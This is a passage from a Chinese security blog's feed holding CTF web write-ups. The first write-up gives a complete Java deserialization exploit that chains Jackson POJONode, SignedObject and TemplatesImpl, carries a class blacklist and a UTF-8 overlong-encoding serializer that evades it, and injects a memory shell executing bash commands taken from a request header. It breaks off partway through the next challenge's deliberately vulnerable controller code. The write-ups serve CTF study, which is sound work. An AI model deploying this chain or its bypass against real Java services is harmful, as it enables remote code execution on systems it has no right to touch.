org.eclipse.jetty.util.log.
org.geotools.filter.
org.h2.value.
org.hibernate.tuple.component.
org.hibernate.type.
org.jboss.ejb3.
org.jboss.proxy.ejb.
org.jboss.resteasy.plugins.server.resourcefactory.
org.jboss.weld.interceptor.builder.
org.junit.
org.mockito.internal.creation.cglib.
org.mortbay.log.
org.mockito.
org.thymeleaf.
org.quartz.
org.springframework.aop.aspectj.
org.springframework.beans.BeanWrapperImpl$BeanPropertyHandler
org.springframework.beans.factory.
org.springframework.expression.spel.
org.springframework.jndi.
org.springframework.orm.
org.springframework.transaction.
org.yaml.snakeyaml.tokens.
ognl.
pstore.shaded.org.apache.commons.collections.
sun.print.
sun.rmi.server.
sun.rmi.transport.
weblogic.ejb20.internal.
weblogic.jms.common.&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;SafeObjectInputStrea&lt;/code&gt;存在黑名单类&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105997.png' alt="image-20250807023332657"&gt;&lt;/p&gt;
&lt;p&gt;依赖只有SpringBoot但是SpringBoot自带Jackson&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105318.png' alt="image-20250807023453928"&gt;&lt;/p&gt;
&lt;p&gt;打Jackson原生二次反序列化，黑名单用UTF-8 Overlong Encoding绕过&lt;/p&gt;
&lt;p&gt;大致的链子应该是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;readObject()-&amp;gt;
XString.equals()-&amp;gt;
POJONode.toString()-&amp;gt;
SignedObject.getObject()-&amp;gt;
BadAttributeValueExpException.readObject()-&amp;gt;   
POJONode.toString()-&amp;gt;
TemplatesImpl.getOutputProperties()&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import sun.misc.Unsafe;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.security.Signature;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;
import java.util.UUID;

public class XStringToJackson {
 public static Object makeTemplatesImplAopProxy(Object templatesImpl) throws Exception {
 AdvisedSupport advisedSupport = new AdvisedSupport();
 advisedSupport.setTarget(templatesImpl);
 Constructor constructor = Class.forName(&amp;#34;org.springframework.aop.framework.JdkDynamicAopProxy&amp;#34;).getConstructor(AdvisedSupport.class);
 constructor.setAccessible(true);
 InvocationHandler handler = (InvocationHandler)constructor.newInstance(advisedSupport);
 Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
 return proxy;
 }
 public static HashMap makeMap(Object v1, Object v2) throws Exception {
 HashMap s = new HashMap();
 setFieldValue(s, &amp;#34;size&amp;#34;, 2);

 Class nodeC;
 try {
 nodeC = Class.forName(&amp;#34;java.util.HashMap$Node&amp;#34;);
 } catch (ClassNotFoundException var6) {
 nodeC = Class.forName(&amp;#34;java.util.HashMap$Entry&amp;#34;);
 }

 Constructor nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
 setAccessible(nodeCons);
 Object tbl = Array.newInstance(nodeC, 2);
 Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
 Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
 setFieldValue(s, &amp;#34;table&amp;#34;, tbl);
 return s;
 }
 public static Object listWrap(Object getterObject, Object originObj) throws Exception {
 ArrayList&amp;lt;Object&amp;gt; list = new ArrayList();
 list.add(getterObject);
 list.add(originObj);
 return list;
 }
 public static Method getMethod(Object obj, String methodName, Class&amp;lt;?&amp;gt;[] paramTypes) {
 Class clazz = obj.getClass();
 Method method = null;

 try {
 method = obj.getClass().getDeclaredMethod(methodName, paramTypes);
 } catch (NoSuchMethodException ignored) {
 }
 while(method == null &amp;amp;&amp;amp; clazz != Object.class) {
 try {
 method = clazz.getDeclaredMethod(methodName, paramTypes);
 } catch (NoSuchMethodException var6) {
 clazz = clazz.getSuperclass();
 }
 }

 if (method == null) {
 return null;
 } else {
 method.setAccessible(true);
 return method;
 }
 }
 //XString 碰撞hash ，调用obj的toString方法
 public static Object getHashMap(Object obj) throws Exception {
 XString xstring = new XString(&amp;#34;&amp;#34;);
 HashMap map1 = new HashMap();
 HashMap map2 = new HashMap();

 map1.put(&amp;#34;yy&amp;#34;, xstring);
 map1.put(&amp;#34;zZ&amp;#34;, obj);

 map2.put(&amp;#34;zZ&amp;#34;, xstring);
 map2.put(&amp;#34;yy&amp;#34;, obj);
 HashMap map = makeMap(map1, map2);
 return map;
 }
 // 序列化时，对字符串进行UTF-8编码，导致长度超出预期，触发异常，进而绕过字符串校验触发反序列化。
 public static byte[] serializeOverlongEncoding(Object obj) throws Exception {
 ByteArrayOutputStream out = new ByteArrayOutputStream();
 ObjectOutputStream outputStream = new UTF8OverlongObjectOutputStream(out);
 outputStream.writeObject(obj);
 return out.toByteArray();
 }
 public static CtClass genPayloadForWin() throws NotFoundException, CannotCompileException, IOException {
 ClassPool classPool = ClassPool.getDefault();
 CtClass clazz = classPool.makeClass(&amp;#34;Exp&amp;#34;);

 if ((clazz.getDeclaredConstructors()).length != 0) {
 clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
 }
 clazz.addConstructor(CtNewConstructor.make(&amp;#34;public SpringEcho() throws Exception {\n&amp;#34; &amp;#43;
 &amp;#34; try {\n&amp;#34; &amp;#43;
 &amp;#34; org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n&amp;#34; &amp;#43;
 &amp;#34; javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n&amp;#34; &amp;#43;
 &amp;#34; javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n&amp;#34; &amp;#43;
 &amp;#34;\n&amp;#34; &amp;#43;
 &amp;#34; String te = httprequest.getHeader(\&amp;#34;Host\&amp;#34;);\n&amp;#34; &amp;#43;
 &amp;#34; httpresponse.addHeader(\&amp;#34;Host\&amp;#34;, te);\n&amp;#34; &amp;#43;
 &amp;#34; String tc = httprequest.getHeader(\&amp;#34;cmd\&amp;#34;);\n&amp;#34; &amp;#43;
 &amp;#34; if (tc != null &amp;amp;&amp;amp; !tc.isEmpty()) {\n&amp;#34; &amp;#43;
 &amp;#34; String[] cmd = new String[]{\&amp;#34;/bin/bash\&amp;#34;, \&amp;#34;-c\&amp;#34;, tc}; \n&amp;#34; &amp;#43;
 &amp;#34; byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\&amp;#34;\\\\A\&amp;#34;).next().getBytes();\n&amp;#34; &amp;#43;
 &amp;#34; httpresponse.getWriter().write(new String(result));\n&amp;#34; &amp;#43;
 &amp;#34;\n&amp;#34; &amp;#43;
 &amp;#34; }\n&amp;#34; &amp;#43;
 &amp;#34; httpresponse.getWriter().flush();\n&amp;#34; &amp;#43;
 &amp;#34; httpresponse.getWriter().close();\n&amp;#34; &amp;#43;
 &amp;#34; } catch (Exception e) {\n&amp;#34; &amp;#43;
 &amp;#34; e.getStackTrace();\n&amp;#34; &amp;#43;
 &amp;#34; }\n&amp;#34; &amp;#43;
 &amp;#34; }&amp;#34;, clazz));

 // 兼容低版本jdk
 clazz.getClassFile().setMajorVersion(50);
 CtClass superClass = classPool.get(AbstractTranslet.class.getName());
 clazz.setSuperclass(superClass);
 return clazz;
 }
 public static void main(String[] args) throws Exception {
 byte[] bytecodes = genPayloadForWin().toBytecode();
 Object templates = TemplatesImpl.class.newInstance();
 setFieldValue(templates, &amp;#34;_bytecodes&amp;#34;, new byte[][]{bytecodes});
 setFieldValue(templates, &amp;#34;_name&amp;#34;, UUID.randomUUID().toString());
 setFieldValue(templates, &amp;#34;_tfactory&amp;#34;, new TransformerFactoryImpl());

 // 动态代理TemplatesImpl对象，防止不稳定触发的情况
 Object getter = makeTemplatesImplAopProxy(templates);
 CtClass ctClass = ClassPool.getDefault().get(&amp;#34;com.fasterxml.jackson.databind.node.BaseJsonNode&amp;#34;);
 CtMethod writeReplace = ctClass.getDeclaredMethod(&amp;#34;writeReplace&amp;#34;);
 ctClass.removeMethod(writeReplace);
 ctClass.toClass();
 Object tostring1 = new POJONode(getter);

 HashMap map = (HashMap) getHashMap(tostring1);
 Object serObject = listWrap(getter, map);

 KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance(&amp;#34;DSA&amp;#34;);
 keyPairGenerator.initialize(1024);
 KeyPair keyPair = keyPairGenerator.genKeyPair();
 PrivateKey privateKey = keyPair.getPrivate();
 Signature signingEngine = Signature.getInstance(&amp;#34;DSA&amp;#34;);
 java.security.SignedObject signedObject = new java.security.SignedObject(1, privateKey, signingEngine);
 byte[] ser1 = null;
 ser1 = (byte[]) Class.forName(&amp;#34;XStringToJackson&amp;#34;).getDeclaredMethod(&amp;#34;serializeOverlongEncoding&amp;#34;, Object.class).invoke(null, serObject);
 setFieldValue(signedObject, &amp;#34;content&amp;#34;, ser1);
 getMethod(signedObject, &amp;#34;sign&amp;#34;, new Class[]{PrivateKey.class, Signature.class}).invoke(signedObject, privateKey, signingEngine);

 Object tostring = new POJONode(signedObject);

 HashMap map2 = (HashMap) getHashMap(tostring);
 Object ser = listWrap((Object) signedObject, map2);
 //获取序列化
 byte[] serialize = serializeOverlongEncoding(ser);
// System.out.println(new String(serialize));
 System.out.println(Base64.getEncoder().encodeToString(serialize));

 ByteArrayInputStream btin = new ByteArrayInputStream(serialize);
 ObjectInputStream objIn = new ObjectInputStream(btin);
 objIn.readObject();

 }
 public static void setFieldValue(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
 Field field = obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj,value);
 }
 public static void setAccessible(AccessibleObject ao) {
 try {
 Unsafe unsafe = getUnsafe();
 long overrideFieldOffset = unsafe.objectFieldOffset(AccessibleObject.class.getDeclaredField(&amp;#34;override&amp;#34;));
 unsafe.putBoolean(ao, overrideFieldOffset, true);
 } catch (Exception e) {
 // fallback
 ao.setAccessible(true);
 }
 }
 public static Unsafe getUnsafe() {
 try {
 Field f = Unsafe.class.getDeclaredField(&amp;#34;theUnsafe&amp;#34;);
 f.setAccessible(true);
 return (Unsafe) f.get(null);
 } catch (Exception e) {
 throw new RuntimeException(&amp;#34;Unable to obtain Unsafe instance&amp;#34;, e);
 }
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;UTF8OverlongObjectOutputStream&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import sun.misc.Unsafe;

import java.io.*;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;

public class UTF8OverlongObjectOutputStream extends ObjectOutputStream {
 public static HashMap&amp;lt;Character, int[]&amp;gt; map = new HashMap&amp;lt;Character, int[]&amp;gt;() {{
 put(&amp;#39;.&amp;#39;, new int[]{0xc0, 0xae});
 put(&amp;#39;;&amp;#39;, new int[]{0xc0, 0xbb});
 put(&amp;#39;$&amp;#39;, new int[]{0xc0, 0xa4});
 put(&amp;#39;[&amp;#39;, new int[]{0xc1, 0x9b});
 put(&amp;#39;]&amp;#39;, new int[]{0xc1, 0x9d});
 put(&amp;#39;a&amp;#39;, new int[]{0xc1, 0xa1});
 put(&amp;#39;b&amp;#39;, new int[]{0xc1, 0xa2});
 put(&amp;#39;c&amp;#39;, new int[]{0xc1, 0xa3});
 put(&amp;#39;d&amp;#39;, new int[]{0xc1, 0xa4});
 put(&amp;#39;e&amp;#39;, new int[]{0xc1, 0xa5});
 put(&amp;#39;f&amp;#39;, new int[]{0xc1, 0xa6});
 put(&amp;#39;g&amp;#39;, new int[]{0xc1, 0xa7});
 put(&amp;#39;h&amp;#39;, new int[]{0xc1, 0xa8});
 put(&amp;#39;i&amp;#39;, new int[]{0xc1, 0xa9});
 put(&amp;#39;j&amp;#39;, new int[]{0xc1, 0xaa});
 put(&amp;#39;k&amp;#39;, new int[]{0xc1, 0xab});
 put(&amp;#39;l&amp;#39;, new int[]{0xc1, 0xac});
 put(&amp;#39;m&amp;#39;, new int[]{0xc1, 0xad});
 put(&amp;#39;n&amp;#39;, new int[]{0xc1, 0xae});
 put(&amp;#39;o&amp;#39;, new int[]{0xc1, 0xaf}); // 0x6f
 put(&amp;#39;p&amp;#39;, new int[]{0xc1, 0xb0});
 put(&amp;#39;q&amp;#39;, new int[]{0xc1, 0xb1});
 put(&amp;#39;r&amp;#39;, new int[]{0xc1, 0xb2});
 put(&amp;#39;s&amp;#39;, new int[]{0xc1, 0xb3});
 put(&amp;#39;t&amp;#39;, new int[]{0xc1, 0xb4});
 put(&amp;#39;u&amp;#39;, new int[]{0xc1, 0xb5});
 put(&amp;#39;v&amp;#39;, new int[]{0xc1, 0xb6});
 put(&amp;#39;w&amp;#39;, new int[]{0xc1, 0xb7});
 put(&amp;#39;x&amp;#39;, new int[]{0xc1, 0xb8});
 put(&amp;#39;y&amp;#39;, new int[]{0xc1, 0xb9});
 put(&amp;#39;z&amp;#39;, new int[]{0xc1, 0xba});
 put(&amp;#39;A&amp;#39;, new int[]{0xc1, 0x81});
 put(&amp;#39;B&amp;#39;, new int[]{0xc1, 0x82});
 put(&amp;#39;C&amp;#39;, new int[]{0xc1, 0x83});
 put(&amp;#39;D&amp;#39;, new int[]{0xc1, 0x84});
 put(&amp;#39;E&amp;#39;, new int[]{0xc1, 0x85});
 put(&amp;#39;F&amp;#39;, new int[]{0xc1, 0x86});
 put(&amp;#39;G&amp;#39;, new int[]{0xc1, 0x87});
 put(&amp;#39;H&amp;#39;, new int[]{0xc1, 0x88});
 put(&amp;#39;I&amp;#39;, new int[]{0xc1, 0x89});
 put(&amp;#39;J&amp;#39;, new int[]{0xc1, 0x8a});
 put(&amp;#39;K&amp;#39;, new int[]{0xc1, 0x8b});
 put(&amp;#39;L&amp;#39;, new int[]{0xc1, 0x8c});
 put(&amp;#39;M&amp;#39;, new int[]{0xc1, 0x8d});
 put(&amp;#39;N&amp;#39;, new int[]{0xc1, 0x8e});
 put(&amp;#39;O&amp;#39;, new int[]{0xc1, 0x8f});
 put(&amp;#39;P&amp;#39;, new int[]{0xc1, 0x90});
 put(&amp;#39;Q&amp;#39;, new int[]{0xc1, 0x91});
 put(&amp;#39;R&amp;#39;, new int[]{0xc1, 0x92});
 put(&amp;#39;S&amp;#39;, new int[]{0xc1, 0x93});
 put(&amp;#39;T&amp;#39;, new int[]{0xc1, 0x94});
 put(&amp;#39;U&amp;#39;, new int[]{0xc1, 0x95});
 put(&amp;#39;V&amp;#39;, new int[]{0xc1, 0x96});
 put(&amp;#39;W&amp;#39;, new int[]{0xc1, 0x97});
 put(&amp;#39;X&amp;#39;, new int[]{0xc1, 0x98});
 put(&amp;#39;Y&amp;#39;, new int[]{0xc1, 0x99});
 put(&amp;#39;Z&amp;#39;, new int[]{0xc1, 0x9a});
 }};

 public UTF8OverlongObjectOutputStream(OutputStream out) throws IOException {
 super(out);
 }

 @Override
 protected void writeClassDescriptor(ObjectStreamClass desc) {
 try {
 String name = desc.getName();
 writeShort(name.length() * 2);
 try {
 for (int i = 0; i &amp;lt; name.length(); i&amp;#43;&amp;#43;) {
 char s = name.charAt(i);
 write(map.get(s)[0]);
 write(map.get(s)[1]);
 }
 } catch (Exception e) {

 }
 writeLong(desc.getSerialVersionUID());
 byte flags = 0;
 if ((Boolean) getFieldValue(desc, &amp;#34;externalizable&amp;#34;)) {
 flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;
 Field protocolField = ObjectOutputStream.class.getDeclaredField(&amp;#34;protocol&amp;#34;);
 protocolField.setAccessible(true);
 int protocol = (Integer) protocolField.get(this);
 if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {
 flags |= ObjectStreamConstants.SC_BLOCK_DATA;
 }
 } else if ((Boolean) getFieldValue(desc, &amp;#34;serializable&amp;#34;)) {
 flags |= ObjectStreamConstants.SC_SERIALIZABLE;
 }
 if ((Boolean) getFieldValue(desc, &amp;#34;hasWriteObjectData&amp;#34;)) {
 flags |= ObjectStreamConstants.SC_WRITE_METHOD;
 }
 if ((Boolean) getFieldValue(desc, &amp;#34;isEnum&amp;#34;)) {
 flags |= ObjectStreamConstants.SC_ENUM;
 }
 writeByte(flags);
 ObjectStreamField[] fields = (ObjectStreamField[]) getFieldValue(desc, &amp;#34;fields&amp;#34;);
 writeShort(fields.length);
 for (int i = 0; i &amp;lt; fields.length; i&amp;#43;&amp;#43;) {
 ObjectStreamField f = fields[i];
 writeByte(f.getTypeCode());
 writeUTF(f.getName());
 if (!f.isPrimitive()) {
 Method writeTypeString = ObjectOutputStream.class.getDeclaredMethod(&amp;#34;writeTypeString&amp;#34;, String.class);
 writeTypeString.setAccessible(true);
 writeTypeString.invoke(this, f.getTypeString());
// writeTypeString(f.getTypeString());
 }
 }
 } catch (Exception e) {
 e.printStackTrace();
 }
 }
 public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
 final Field field = getField(obj.getClass(), fieldName);
 return field.get(obj);
 }
 public static Field getField(final Class&amp;lt;?&amp;gt; clazz, final String fieldName) {
 Field field = null;
 try {
 field = clazz.getDeclaredField(fieldName);
 setAccessible(field);
 } catch (NoSuchFieldException ex) {
 if (clazz.getSuperclass() != null)
 field = getField(clazz.getSuperclass(), fieldName);
 }
 return field;
 }
 public static void setAccessible(AccessibleObject ao) {
 try {
 Unsafe unsafe = getUnsafe();
 long overrideFieldOffset = unsafe.objectFieldOffset(AccessibleObject.class.getDeclaredField(&amp;#34;override&amp;#34;));
 unsafe.putBoolean(ao, overrideFieldOffset, true);
 } catch (Exception e) {
 // fallback
 ao.setAccessible(true);
 }
 }
 public static Unsafe getUnsafe() {
 try {
 Field f = Unsafe.class.getDeclaredField(&amp;#34;theUnsafe&amp;#34;);
 f.setAccessible(true);
 return (Unsafe) f.get(null);
 } catch (Exception e) {
 throw new RuntimeException(&amp;#34;Unable to obtain Unsafe instance&amp;#34;, e);
 }
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;具体可以参考https://github.com/qi4L/JYso/blob/master/src/main/java/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202508142105523.png' alt="image-20250814204247892"&gt;&lt;/p&gt;</description></item><item><title>2025磐石初赛Web</title><link>https://blog.p0l1st.top/post/2025%E7%A3%90%E7%9F%B3%E5%88%9D%E8%B5%9Bweb/</link><pubDate>Thu, 07 Aug 2025 17:07:49 +0000</pubDate><author>p0l1st@venomsec.org (p0l1st)</author><guid>https://blog.p0l1st.top/post/2025%E7%A3%90%E7%9F%B3%E5%88%9D%E8%B5%9Bweb/</guid><category domain="https://blog.p0l1st.top/categories/ctf/">CTF</category><description>&lt;h1 class="heading-element" id="web-java_ez"&gt;&lt;span&gt;web-java_ez&lt;/span&gt;
 &lt;a href="#web-java_ez" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;VulnController&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class VulnController {
 private static Map&amp;lt;String, ScheduledJob&amp;gt; jobs = new HashMap();
 private static final String[] JOB_BLACKLIST = {&amp;#34;java.net.URL&amp;#34;, &amp;#34;javax.naming.InitialContext&amp;#34;, &amp;#34;org.yaml.snakeyaml&amp;#34;, &amp;#34;org.springframework&amp;#34;, &amp;#34;org.apache&amp;#34;, &amp;#34;rmi&amp;#34;, &amp;#34;ldap&amp;#34;, &amp;#34;ldaps&amp;#34;, &amp;#34;http&amp;#34;, &amp;#34;https&amp;#34;};
 private static final String[] JOB_WHITELIST = {&amp;#34;com.jabaez.FLAG&amp;#34;};

 @GetMapping({&amp;#34;/server&amp;#34;})
 public Map&amp;lt;String, Object&amp;gt; getServerInfo() {
 Map&amp;lt;String, Object&amp;gt; info = new HashMap&amp;lt;&amp;gt;();
 info.put(&amp;#34;javaHome&amp;#34;, System.getProperty(&amp;#34;java.home&amp;#34;));
 info.put(&amp;#34;javaVersion&amp;#34;, System.getProperty(&amp;#34;java.version&amp;#34;));
 info.put(&amp;#34;osName&amp;#34;, System.getProperty(&amp;#34;os.name&amp;#34;));
 info.put(&amp;#34;userDir&amp;#34;, System.getProperty(&amp;#34;user.dir&amp;#34;));
 info.put(&amp;#34;uploadDir&amp;#34;, &amp;#34;/tmp/upload&amp;#34;);
 Charset gbk = Charset.forName(&amp;#34;GBK&amp;#34;);
 byte[] bytes = gbk.encode(&amp;#34;你好&amp;#34;).array();
 System.out.println(Arrays.toString(bytes));
 return info;
 }

 @PostMapping({&amp;#34;/upload&amp;#34;})
 public Map&amp;lt;String, String&amp;gt; uploadFile(@RequestParam(&amp;#34;file&amp;#34;) MultipartFile file) {
 String originalFilename;
 Map&amp;lt;String, String&amp;gt; result = new HashMap&amp;lt;&amp;gt;();
 try {
 File dir = new File(&amp;#34;/tmp/upload&amp;#34;);
 if (!dir.exists()) {
 dir.mkdirs();
 }
 originalFilename = file.getOriginalFilename();
 } catch (Exception e) {
 result.put(BindTag.STATUS_VARIABLE_NAME, &amp;#34;error&amp;#34;);
 result.put(&amp;#34;message&amp;#34;, e.getMessage());
 }
 if (originalFilename == null) {
 result.put(BindTag.STATUS_VARIABLE_NAME, &amp;#34;error&amp;#34;);
 result.put(&amp;#34;message&amp;#34;, &amp;#34;文件名为空&amp;#34;);
 return result;
 }
 String filename = new File(originalFilename).getName();
 if (filename.contains(CallerDataConverter.DEFAULT_RANGE_DELIMITER) || filename.contains(&amp;#34;/&amp;#34;) || filename.contains(&amp;#34;\\&amp;#34;) || filename.startsWith(&amp;#34;.&amp;#34;)) {
 result.put(BindTag.STATUS_VARIABLE_NAME, &amp;#34;error&amp;#34;);
 result.put(&amp;#34;message&amp;#34;, &amp;#34;非法文件名&amp;#34;);
 return result;
 }
 File dest = new File(&amp;#34;/tmp/upload&amp;#34; &amp;#43; filename);
 String uploadPathCanonical = new File(&amp;#34;/tmp/upload&amp;#34;).getCanonicalPath();
 String destCanonical = dest.getCanonicalPath();
 if (!destCanonical.startsWith(uploadPathCanonical &amp;#43; File.separator)) {
 result.put(BindTag.STATUS_VARIABLE_NAME, &amp;#34;error&amp;#34;);
 result.put(&amp;#34;message&amp;#34;, &amp;#34;非法文件路径&amp;#34;);
 return result;
 }
 file.transferTo(dest);
 result.put(BindTag.STATUS_VARIABLE_NAME, &amp;#34;success&amp;#34;);
 result.put(&amp;#34;path&amp;#34;, dest.getAbsolutePath());
 result.put(&amp;#34;message&amp;#34;, &amp;#34;文件上传成功&amp;#34;);
 return result;
 }

 @PostMapping({&amp;#34;/job/add&amp;#34;})
 public Map&amp;lt;String, Object&amp;gt; addJob(@RequestBody ScheduledJob job) {
 Map&amp;lt;String, Object&amp;gt; result = new HashMap&amp;lt;&amp;gt;();
 if (containsBlacklist(job.getInvokeTarget())) {
 result.put(BindTag.STATUS_VARIABLE_NAME, &amp;#34;error&amp;#34;);
 result.put(&amp;#34;message&amp;#34;, &amp;#34;包含非法字符&amp;#34;);
 return result;
 }
 if (!containsWhitelist(job.getInvokeTarget())) {
 result.put(BindTag.STATUS_VARIABLE_NAME, &amp;#34;error&amp;#34;);
 result.put(&amp;#34;message&amp;#34;, &amp;#34;目标不在白名单中&amp;#34;);
 return result;
 }
 jobs.put(job.getJobName(), job);
 result.put(BindTag.STATUS_VARIABLE_NAME, &amp;#34;success&amp;#34;);
 result.put(&amp;#34;message&amp;#34;, &amp;#34;任务添加成功&amp;#34;);
 result.put(&amp;#34;jobId&amp;#34;, job.getJobName());
 return result;
 }

 @PostMapping({&amp;#34;/job/run/{jobName}&amp;#34;})
 public Map&amp;lt;String, Object&amp;gt; runJob(@PathVariable String jobName) {
 Map&amp;lt;String, Object&amp;gt; result = new HashMap&amp;lt;&amp;gt;();
 ScheduledJob job = jobs.get(jobName);
 if (job == null) {
 result.put(BindTag.STATUS_VARIABLE_NAME, &amp;#34;error&amp;#34;);
 result.put(&amp;#34;message&amp;#34;, &amp;#34;任务不存在&amp;#34;);
 return result;
 }
 try {
 invokeMethod(job.getInvokeTarget());
 result.put(BindTag.STATUS_VARIABLE_NAME, &amp;#34;success&amp;#34;);
 result.put(&amp;#34;message&amp;#34;, &amp;#34;任务执行成功&amp;#34;);
 } catch (Exception e) {
 result.put(BindTag.STATUS_VARIABLE_NAME, &amp;#34;error&amp;#34;);
 result.put(&amp;#34;message&amp;#34;, e.getMessage());
 result.put(&amp;#34;stackTrace&amp;#34;, e.getStackTrace()[0].toString());
 }
 return result;
 }

 private boolean containsBlacklist(String str) {
 if (str == null) {
 return false;
 }
 String lowerStr = str.toLowerCase();
 for (String blackItem : JOB_BLACKLIST) {
 if (lowerStr.contains(blackItem.toLowerCase())) {
 return true;
 }
 }
 return false;
 }

 private boolean containsWhitelist(String str) {
 if (str == null) {
 return false;
 }
 for (String whiteItem : JOB_WHITELIST) {
 if (str.contains(whiteItem)) {
 return true;
 }
 }
 return false;
 }

 private Object invokeMethod(String invokeTarget) throws Exception {
 int hashIndex = invokeTarget.indexOf(35);
 if (hashIndex == -1) {
 throw new IllegalArgumentException(&amp;#34;Invalid format, expected: className#methodName(params)&amp;#34;);
 }
 String className = invokeTarget.substring(0, hashIndex);
 String methodAndParams = invokeTarget.substring(hashIndex &amp;#43; 1);
 int paramStart = methodAndParams.indexOf(40);
 int paramEnd = methodAndParams.lastIndexOf(41);
 if (paramStart != -1 &amp;amp;&amp;amp; paramEnd != -1) {
 String methodName = methodAndParams.substring(0, paramStart);
 String paramStr = methodAndParams.substring(paramStart &amp;#43; 1, paramEnd);
 Class&amp;lt;?&amp;gt; clazz = Class.forName(className);
 List&amp;lt;Object&amp;gt; paramValues = new ArrayList&amp;lt;&amp;gt;();
 List&amp;lt;Class&amp;lt;?&amp;gt;&amp;gt; paramTypes = new ArrayList&amp;lt;&amp;gt;();
 if (!paramStr.trim().isEmpty()) {
 String[] params = splitParams(paramStr);
 for (String str : params) {
 String param = str.trim();
 if (param.startsWith(&amp;#34;&amp;#39;&amp;#34;) &amp;amp;&amp;amp; param.endsWith(&amp;#34;&amp;#39;&amp;#34;)) {
 String value = param.substring(1, param.length() - 1);
 paramValues.add(value);
 paramTypes.add(String.class);
 } else if (param.equals(BeanDefinitionParserDelegate.NULL_ELEMENT)) {
 paramValues.add(null);
 paramTypes.add(String.class);
 } else if (param.matches(&amp;#34;\\d&amp;#43;&amp;#34;)) {
 paramValues.add(Integer.valueOf(Integer.parseInt(param)));
 paramTypes.add(Integer.TYPE);
 } else if (!param.equals(&amp;#34;true&amp;#34;) &amp;amp;&amp;amp; !param.equals(&amp;#34;false&amp;#34;)) {
 paramValues.add(param);
 paramTypes.add(String.class);
 } else {
 paramValues.add(Boolean.valueOf(Boolean.parseBoolean(param)));
 paramTypes.add(Boolean.TYPE);
 }
 }
 }
 try {
 Method method = clazz.getMethod(methodName, (Class[]) paramTypes.toArray(new Class[0]));
 if (Modifier.isStatic(method.getModifiers())) {
 return method.invoke(null, paramValues.toArray());
 }
 Object instance = clazz.newInstance();
 return method.invoke(instance, paramValues.toArray());
 } catch (NoSuchMethodException e) {
 Method method2 = clazz.getDeclaredMethod(methodName, (Class[]) paramTypes.toArray(new Class[0]));
 method2.setAccessible(true);
 if (Modifier.isStatic(method2.getModifiers())) {
 return method2.invoke(null, paramValues.toArray());
 }
 Object instance2 = clazz.newInstance();
 return method2.invoke(instance2, paramValues.toArray());
 }
 }
 throw new IllegalArgumentException(&amp;#34;Invalid method format&amp;#34;);
 }

 private String[] splitParams(String paramStr) {
 List&amp;lt;String&amp;gt; params = new ArrayList&amp;lt;&amp;gt;();
 int bracketLevel = 0;
 int start = 0;
 for (int i = 0; i &amp;lt; paramStr.length(); i&amp;#43;&amp;#43;) {
 char c = paramStr.charAt(i);
